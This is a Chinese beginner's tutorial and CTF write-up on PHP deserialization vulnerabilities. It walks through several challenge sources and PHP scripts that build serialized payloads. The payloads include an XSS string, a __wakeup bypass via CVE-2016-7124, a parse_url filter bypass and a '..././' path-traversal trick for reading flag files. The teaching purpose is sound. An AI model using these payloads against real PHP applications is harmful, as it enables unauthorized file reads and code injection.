内容简介:最近才开始学习安全,虽然练习过南邮CTF和Bugku的CTF,但是打各种线上CTF经常不尽人意,因为最近的比赛都有着一个新手入门CTF不常遇到的考点—————反序列化。看了很多师傅们,各种前辈们的文章,于是想着总结一下已经学到的东西在我当时PHP基本功不怎么扎实的时候,看反序列化就是一脸懵逼,所以我认为在接触反序列化漏洞之前
前言
最近才开始学习安全,虽然练习过南邮CTF和Bugku的CTF,但是打各种线上CTF经常不尽人意,因为最近的比赛都有着一个新手入门CTF不常遇到的考点—————反序列化。
看了很多师傅们,各种前辈们的文章,于是想着总结一下已经学到的东西
在我当时 PHP 基本功不怎么扎实的时候,看反序列化就是一脸懵逼,所以我认为在接触反序列化漏洞之前 需要掌握以下内容
1. PHP面向对象
2. PHP中的魔术方法
看了上面的文章应该就会了类与对象,一些魔术方法(比较重要的有 __wakeup()
, __construct()
, __destruct()
, __toString()
序列化与反序列化
为什么要进行序列化与反序列化?
起初也是很不理解为什么要费劲周章的去序列化然后反序列化回来,还多了一步操作,看了各种文章,举了各种栗子,无非都是想告诉我们: 序列化的目的是方便数据的传输和存储
再附上网上看到的一段话
PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦
什么是序列化和反序列化?
序列化
关键函数 serialize()
:将PHP中创建的对象,变成一个字符串
<?php class test{ public $name = 'P2hm1n'; private $sex = 'secret'; protected $age = '20'; } $test1 = new test(); $object = serialize($test1); print_r($object); ?>
经过查阅资料我们发现
private属性序列化的时候格式是 %00类名%00成员名
protected属性序列化的时候格式是 %00*%00成员名
反序列化
关键函数 unserialize()
:将经过序列化的字符串转换回PHP值
<?php $object = '经过序列化的字符串'; $test = unserialize($object1); print_r($test3); ?>
注意:当有 protected 和 private 属性的时候记得补齐空的字符串
为什么会产生反序列化漏洞?
PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的
需要具备反序列化漏洞的前提:
必须有 unserailize() 函数
unserailize() 函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能需要绕过一些魔法函数
下面写一个小栗子
<?php class test{ public $target = 'this is a test'; function __destruct(){ echo $this->target; } } $a = $_GET['b']; $c = unserialize($a); ?>
上面的栗子就具备了利用反序列化漏洞的前提,因为存在 echo
的原因,我们还可以直接利用xss
<?php class test{ public $target = '<script>alert(/xss/);</script>'; } $a = new test(); $a = serialize($a); echo $a; ?>
很简单的栗子
D0g3平台
一道实验室师傅们出的题:
题目直接给了源码
<?php error_reporting(0); include "flag.php"; $KEY = "D0g3!!!"; $str = $_GET['str']; if (unserialize($str) === "$KEY") { echo "$flag"; } show_source(__FILE__);
我们可以看到判断条件 unserialize($str) === "$KEY"
就会输出flag,且具备了反序列化漏洞的一条:有 unserialize()
函数,那么寻找str参数是否可控,向上寻找发现 $str = $_GET['str'];
,通过 GET 型传参,参数可控。这里也就具备了反序列化的两个条件,所以我们直接构造
<?php $KEY = "D0g3!!!"; echo serialize($KEY) ?>
Bugku-welcome to the bugkuctf
在经历了前面的php伪协议的考点之后,经过base64解码拿到了两个源码
index.php
<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?>
hint.php
<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?>
观察到危险函数 unserialize()
,跟进一下 hint.php 里有有一个 file_get_contents()
函数,可以读取到文件,那么我们只需要观察file是否可控便可轻松解题
因此我们只需要控制 $this->file
就能读到我们想要的文件
<?php class Flag{//flag.php public $file = 'flag.php'; } $a = new Flag(); $a = serialize($a); echo $a; ?>
当然这道题不只考了反序列化,还需要一些其他操作才能拿到flag
上面的简单栗子都是直接可以通过序列化生成相应的payload然后再反序列化之后实现功能,但是通常不会这么简单的就让你利用成功,所以需要掌握下面的一些东西
一些魔术方法
在绕过魔术方法之前我们需要了解一些魔术方法的运行机制———— PHP之十六个魔术方法详解
需要了解一下相对于来说重要函数的运行先后顺序
<?php class test{ public $name = 'P2hm1n'; function __construct(){ echo "__construct()"; echo "<br><br>"; } function __destruct(){ echo "__destruct()"; echo "<br><br>"; } function __wakeup(){ echo "__wakeup()"; echo "<br><br>"; } function __toString(){ return "__toString()"."<br><br>"; } function __sleep(){ echo "__sleep()"; echo "<br><br>"; return array("name"); } } $test1 = new test(); $test2 = serialize($test1); $test3 = unserialize($test2); print($test3); ?>
可以绕过的__weakup()
实际上是一个CVE漏洞, CVE-2016-7124 。当成员属性数目 大于 实际数目时会跳过__wakeup的执行。
网上已经有很多讲解了…比如网上的一篇文章 https://blog.csdn.net/qq_19876131/article/details/52890854 就写的比较清楚,我们只需要知道成员数目 大于 实际数目这个利用的点就行了
盘点近期两道有关反序列化题
第12届全国大学生信息安全竞赛-JustSoso
PHP伪协议+base64解码得到两个文件
index.php
<html> <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> <html>
hint.php
<?php class Handle{ private $handle; //__destruct中被调用从而调用getFlag() public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { //循环打印,赋值为空 $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); //调用 Flag 类里面的getFlag方法 } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); //一到一万产生的随机数经过md5加密 } public function getFlag(){ //被handle调用 $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) //两者必须相等 { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } $echof = new Flag(); $Flag->file = "flag.php"; $echoflag = new Handle($echof); echo serialize($echoflag); ?>
在粗略的看了一下两个文件之后,可能会有点乱(当时的我头脑是很乱的),但是我们只需要明确我们打CTF的目的就是拿到flag…
梳理一下思路如下
index.php文件干了什么事?
GET型传入两个参数 (那么传入的两个参数一定是有用的,通常出题人不会闲得蛋疼多设置几个没用的参数
file不能包含flag关键字
如果设置了payload的话,url被切割,且循环遍历匹配flag关键字,匹配到了就退出
payload被unserialize()了~payload被unserialize()了~payload被unserialize()了~
hint.php文件干了什么事?
既然都叫hint.php了那么hint.php一定大有作为…
纵观 hint.php 包含两个类
其中的一个类叫 Flag,甚至类里有个方法叫getFlag(),所以我们明确我们的目标就是它
打CTF一定要知道自己在干什么,所以先不管其他的,我们只谈反序列化,然后构造payload这个参数
所以在抛弃一切前提下,我们甚至可以构造payload出来
<?php //假装有两个class class{ } class{ } $echof = new Flag(); $Flag->file = "flag.php"; $echoflag = new Handle($echof); echo serialize($echoflag); ?>
现在的我们已经能够输出flag了,我们看一下还存在哪些障碍?
输出flag的前提
echo @highlight_file($this->file,true);
前有一个判断: $this->token === $this->token_flag
而 $this->token
的值是不会变的,但是 $this->token_flag
却会改变
这里有两种思路,其一是爆破,其二是用引用变量来解决这个问题 $Flag->token = &$Flag->token_flag;
__wakeup()每次打印为空?
重点到了,利用本文前面的 CVE-2016-7124 。当成员属性数目 大于 实际数目时会跳过__wakeup的执行。这样能让 Handle类成功调用 Flag类中的方法
我们的关键词不能有flag?
经过反序列化也罢,我们的关键词始终会含有flag词语,会被正则匹配到…
这里可以使用parse_url的解析漏洞,具体的可以看看 一叶飘零师傅的文章 和 另一位师傅的文章
大概是parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外,对 file:// 协议允许三个斜线(file:///…)。其它任何协议都不能这样。
所以使用三个斜线的话就不会被检测到关键词
其实其他考点都是可以绕过的,最主要的反序列化思想的核心,我认为经过反序列化,有了可以控制的参数之后,就一定要完成某部分的功能,不是为了反序列化而反序列化
DDCTF-Web签到题
题目地址: http://117.51.158.44/index.php
经过信息泄露,抓包等会拿到两个源码…
文件1:Application.php
代码太长了,简化一下有用的功能如下:
Class Application { var $path = ''; private function sanitizepath($path) { $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path; } public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } }
文件一大概是对 $path
变量做了一些处理;如:前后去空,并且移除了 ../
和 ..\
如果长度小于18的话能够读取 $path
变量的文件的内容,能够读取 $path
变量的文件的内容,能够读取 $path
变量的文件的内容
因此我们构造初步的payload (其实结合了一些文件2的信息才能构造路径)为: ../config/flag.txt
,但是此时需要绕过文件一中的一个 str_replace()
函数,且长度要小于18,故而再次构造为 ..././config/flag.txt
(需要注意的是此刻的长度虽然是21,但是经过一次前面的 str_replace()
替换 ../
为空之后,长度就刚好为18
文件2:app/Session.php
//url:app/Session.php include 'Application.php'; //包含文件一 class Session extends Application { //key建议为8位字符串 var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF"; public function index() { if(parent::auth()) { //通过parent::调用父类方法 $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } } } private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); //flag可能也在这个文件夹里面 } public function session_read() { if(empty($_COOKIE)) { return FALSE; } $session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; } $hash = substr($session,strlen($session)-32); $session = substr($session,0,strlen($session)-32); if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); //通过parent::调用父类方法 return FALSE; } $session = unserialize($session); //反序列化 if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ return FALSE; } if(!empty($_POST["nickname"])) { //POST的不为空 $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { //打印变量 $data = sprintf($data,$v); //输出 } parent::response($data,"Welcome"); } if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; } if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; } return TRUE; } private function session_create() { $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); } $userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', ); $cookiedata = serialize($userdata); //序列化 $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); } } $ddctf = new Session(); $ddctf->index(); ?>
我们回顾一下反序列化执行的方法:
必须有 unserailize() 函数,
unserailize() 函数的参数必须可控
首先映入眼帘的是文件二中第55行的 $session = unserialize($session);
这一步执行了危险函数 unserialize()
文件一被包含进文件二,因此可以利用文件一中 __destruct()
来执行文件读取的功能。
结合有用的信息,就是通过 session 的反序列化来控制 $path
变量进而得到 flag,第34行的注释 //eancrykey and flag under the folder
提供了相应的位置
因此我们通过控制 $path
变量可以获取到flag,控制 $path
需要通过反序列化。
但是这道题还有其他的考点,因为需要伪造一个cookie才能拿到相应的 key 才能进行反序列化。
因为单谈反序列化,所以我们简化一下本题。构造最终payload为
<?php Class Application { var $path = '..././config/flag.txt'; } $a = new Application(); $a = serialize($a); print_r($a); ?>
想看完整wp的可以移步 DDCTF2019官方Write Up
反序列化还有什么?
下面两个因为也只是略懂,还没有深入研究,所以就不继续写了,附上两篇当初学习的文章
phar 拓展 php 反序列化漏洞攻击面: https://paper.seebug.org/680/
本文参考自:
*本文作者:P2hm1n,转载请注明来自FreeBuf.COM
以上所述就是小编给大家介绍的《入门Web需要了解的PHP反序列化漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Chinese Authoritarianism in the Information Age
Routledge / 2018-2-13 / GBP 115.00
This book examines information and public opinion control by the authoritarian state in response to popular access to information and upgraded political communication channels among the citizens in co......一起来看看 《Chinese Authoritarianism in the Information Age》 这本书的介绍吧!